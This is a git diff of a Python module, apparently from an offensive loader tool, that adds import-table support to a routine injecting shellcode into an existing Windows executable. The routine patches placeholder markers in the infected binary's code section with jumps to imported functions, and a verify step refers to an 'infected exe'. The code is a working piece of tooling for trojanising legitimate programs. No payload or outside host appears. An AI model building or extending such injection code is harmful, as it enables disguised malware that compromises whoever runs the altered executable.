feature: iat support tmp

phases/shctoexe.py

@@ -1,8 +1,9 @@
 from helper import *
 import shutil
+import pprint
+from pehelper import *
 
-
-def inject_exe(shc_file, exe_in, exe_out, mode):
+def inject_exe(shc_file, exe_in, exe_out, mode, exe_capabilities):
     print("--[ Injecting: {} into: {} -> {} ]".format(
         shc_file, exe_in, exe_out
     ))
@@ -18,6 +19,50 @@ def inject_exe(shc_file, exe_in, exe_out, mode):
     ], check=True,  stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
 
 
+    # get code section
+    #   get offset from start of code
+    #   get offset of code setion?
+
+    ####
+    print("-------------")
+    #pprint.pprint(exe_capabilities)
+    for cap in exe_capabilities:
+        print("-> 0x{:X}\t\t{}".format(
+            exe_capabilities[cap]["addr"],
+            cap,
+            #exe_capabilities["id"],
+        ))
+    print("-------------")
+    code = get_code_section(exe_out)
+
+    # replace IAT in shellcode
+    for cap in exe_capabilities:
+        #print("AAAA: " + str(cap))
+        if not exe_capabilities[cap]["id"] in code:
+            print("Not found, abort")
+            raise Exception()
+        
+        off = code.index(exe_capabilities[cap]["id"])
+        current_address = off + 0x140000000 + 4096
+
+        print(" Off: 0x{:X}".format(off))
+        print(" Off2: 0x{:X}".format(current_address)) # base addr
+        #print(" Diff: 0x{:X}".format())
+
+        destination_address = exe_capabilities[cap]["addr"]
+
+        jmp = assemble_and_disassemble_jump(
+            current_address, destination_address
+        )
+        print("ONE: {}".format(jmp))
+        print("TWO: {}".format(exe_capabilities[cap]["id"]))
+
+        print("Found! replacing")
+        code = code.replace(
+            exe_capabilities[cap]["id"], jmp)
+        write_code_section(exe_out, code)
+
+
 def verify_injected_exe(exefile):
     print("---[ Verify infected exe: {} ]".format(exefile))
     # remove indicator file